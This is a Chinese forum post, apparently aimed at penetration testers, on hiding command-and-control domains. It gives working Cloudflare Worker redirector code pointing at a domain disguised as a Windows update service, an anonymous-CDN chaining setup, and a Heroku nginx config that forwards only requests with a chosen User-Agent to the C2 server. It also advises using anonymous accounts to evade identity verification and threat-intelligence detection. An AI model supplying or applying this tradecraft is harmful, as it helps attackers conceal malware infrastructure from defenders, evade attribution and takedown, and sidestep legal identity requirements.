安全矩阵

 找回密码
 立即注册
搜索
查看: 2757|回复: 0

实战填坑 | 隐藏C2域名地址技巧

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-6-21 11:17:16 | 显示全部楼层 |阅读模式
原文链接:实战填坑 | 隐藏C2域名地址技巧
​  
一、简介各位表哥在日常渗透中有没有遇到过被情报的场景,例如:

再例如:

哈,恭喜你你肯定被盯上了~

开个玩笑,话说现在隐藏c2真实地址的手段层出不穷,笔者参考了网上众多隐藏技巧,经过一定的钻研写下了这篇主要隐藏域名的几个思路,但和域前置、云函数技术不同,域前置技术原理:

假设有两个主机,域名分别为www.a.com与[url]www.b.com[/url]。这两个主机都是被ip为1.1.1.1的cdn进行加速的。
这时候使用curl命令请求cdn 1.1.1.1,并自定义host段为www.b.com的话。就会返回www.b.com的页面。
命令为:

curl 1.1.1.1 -H "Host: www.b.com" -v
同理请求同样的cdn,但是将host改为www.a.com,这时候就会返回A页面的信息。
如果将curl 后请求的ip改为 www.a.com, host 改为 www.b.com。命令为:

Curl www.a.com -H "Host: www.b.com" -v
上述命令还是显示的是www.b.com的页面,所以最终请求的还是www.b.com
所以,域前置技术的核心基础设施是cdn。
(参考链接:https://blog.csdn.net/qq_41874930/article/details/107742843
云函数技术:

腾讯云你不得认证啊?虽然说认证后除非犯了大事才找你,但法网恢恢疏而不漏……

本文思路不依赖对CDN服务商解析的重定向,而是基于正常域名分发子域名的伪装:注册匿名账户,使用该机构提供的代理服务将流量代理到你的真实域名,匿名,匿名,匿名,毕竟认证的事咱没干过(手动狗头)。
文章域名以winupdateck.top为例,申请过程不再分享,不是此篇重点。

二、CDN-worker伪装
好多大佬拿这个技巧和域前置类比,我就不多废话,网上教程有不少:

建立worker子域:

使用js代码转发请求(本人测试多个js代码,这个比较靠谱,所有内容都正常):
  1. let upstream = ' http://www.winupdateck.top'


  2. addEventListener('fetch', event => {
  3. event.respondWith(fetchAndApply(event.request));
  4. })
  5. async function fetchAndApply(request) {
  6. const ipAddress = request.headers.get('cf-connecting-ip') || '';
  7. let requestURL = new URL(request.url);
  8. let upstreamURL = new URL(upstream);
  9. requestURL.protocol = upstreamURL.protocol;
  10. requestURL.host = upstreamURL.host;
  11. requestURL.pathname = upstreamURL.pathname + requestURL.pathname;


  12. let new_request_headers = new Headers(request.headers);
  13. new_request_headers.set("X-Forwarded-For", ipAddress);
  14. let fetchedResponse = await fetch(
  15. new Request(requestURL, {
  16. method: request.method,
  17. headers: new_request_headers,
  18. body: request.body
  19. })
  20. );
  21. let modifiedResponseHeaders = new Headers(fetchedResponse.headers);
  22. modifiedResponseHeaders.delete('set-cookie');
  23. return new Response(
  24. fetchedResponse.body,
  25. {
  26. headers: modifiedResponseHeaders,
  27. status: fetchedResponse.status,
  28. statusText: fetchedResponse.statusText
  29. }
  30. );
  31. }
复制代码
​  
其中let upstream = ' http://www.winupdateck.top'的http协议可以根据实际listener改变。

上线效果就不多说了,主要在代码,优点是可自由切换https/http协议,*.*.worker.dev域名可以自己增减。

三、匿名CDN & worker
有老哥问了,要是多个c2,还有域名、c2的ip在国内使用,怎么办?使用worker代理一个子域名可行,但你的ip一旦关联域名就要涉及备案…(奉劝各位老老实实备案,咳咳,嗯,要做遵纪守法好公民)
例如在cloudflare添加子域名解析:

过一会访问会变成:

要去阿里人脸识别,做好备案:


这里的思路是nodecache:

注册一个匿名账户,然后通过邮件校验,然后:

选择创建服务:

把你想添加的子域名写进去:

点击cname:

将内容粘贴到你的域名服务商处,添加一个cname记录:

然后在回源管理处添加你在国内的vps地址:

其中要选择https或http协议要点击协议跟随的选项,才能动态解析两者。
最后你会惊奇地发现,刚才添加的http://cmd.winupdateck.top可以在国内访问了。其实原理是在cloudflare添加子域名指向国内是受监管的,换一个cdn服务商而已。
然后重点来了,我的目的并不是把cmd.winupdateck.top作为c2 handler,参考上个思路,新建worker,把cmd.winupdateck.top再隐藏在worker之后:

  1. let upstream = ' http://cmd.winupdateck.top'


  2. addEventListener('fetch', event => {
  3. event.respondWith(fetchAndApply(event.request));
  4. })
复制代码

……
这个思路相比于直接cloudflare代理根域名有一个缺点:js中设置new_request_headers.set("X-Forwarded-For", ipAddress)没什么用处,依然需要在国内这个vps上使用nginx反向代理,即在配置文件中添加:
  1. location / {
  2.     proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
  3.     ……
  4. }
复制代码
​  
才可以收到正常的目标外网地址,否则为nodecache的cdn节点地址。实测:可正常上线


四、反向代理(heroku)
最后一个思路是建立一个堡垒机,同样用nginx反向代理:两个VPS,姑且称为a和b,a中搭建nginx,设置过滤规则,例如Host:www.b.com,则将请求转发到b:proxy_pass http://VPS b:80,当然也要使用X-Forwarded-For。
但这么做比较浪费,a变黑了就得换,不然还没渗透呢都被人给墙了。

这里介绍一个web代理服务:heroku,可注册匿名账户,从github拉取代码建立网站,或者部署docker建立app,相当于多个随便用的代理VPS。
首先注册,确认邮件,然后登陆后确认是否成功:

然后使用linux安装docker、git和heroku cli:参考https://devcenter.heroku.com/art ... ownload-and-install
在vps中可使用heroku login确认你的账号:

这里就有个坑,一般很少人安装linux的桌面环境,这个应用需要web浏览器跳转连接登陆,然后认证账密。

填坑思路1:各位可以安装桌面后远程+安装浏览器访问(我没用)。
填坑思路2:将vps流量代理出来,使用chisel、socat、或ssh隧道的代理方式,再或者frp、nps的内网穿透,或者干脆写个py脚本代理一下。

将本地浏览器代理设置为你开的socks或http。,然后在上图这个等待界面,复制链接到浏览器打开:

最后使用账密登录:

然后linux本地拉取一个git:
git clone http://github.comheroku-docker-nginx-example.git
cd heroku-docker-nginx-example
修改其中default.conf.template:


  1. server {
  2.   listen $PORT;
  3.   location / {
  4.     proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
  5.     if ( $http_user_agent = "Mozilla/1.0 (Windows NT 5.0; …)")
  6.     {
  7.       proxy_pass http://你的域名地址:80;
  8.     }
  9.     root   /usr/share/nginx/html;
  10.     index  index.html;
  11.   }
  12. }
复制代码
​  
中你的域名地址可以为根域名、子域名、甚至ip加端口,都可以的啦~
然后创建app:

heroku container:login
heroku create

然后上传web:
heroku container:push web

最后发布web:
heroku container:release web

注意:这里创建后可去个人中心重命名该应用

也可创建时指定名称:
heroku create examplename

后续操作中指定app:

heroku container:push web -a examplename
heroku container:release web -a examplename
完成后个人中心可打开访问:

未满足我的过滤条件,访问默认nginx为正常页面,设置我的过滤规则后,例如UA、Host,在c2中可看到访问信息:

但问题是heroku目前只支持绑定80端口-http协议,需要https还需要在个人中心申请证书。
绑定为https可接受第一次访问,最后依然会转为http,图省事直接绑定为http类型。

实测可正常上线,ip地址为真实外网ip:

执行命令可正常回显:

抓包发现为herokuapp的地址:

缺点:1只可代理http协议。2heroku有用户协议,如果不慎会被封号。
优点:地址黑了可以直接删了app重建一个。

五、总结
以上几个思路其实结合起来并不难,无非就是域名身后单纯CDN可隐藏ip,域名黑了再申一个。

爱惜域名的话,把域名再代理一下,深中更深地隐藏啊。

最后PS:heroku反向代理也可设置为CDN加速之后的域名,但理论上会延迟访问时间。





回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-29 06:44 , Processed in 0.014214 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表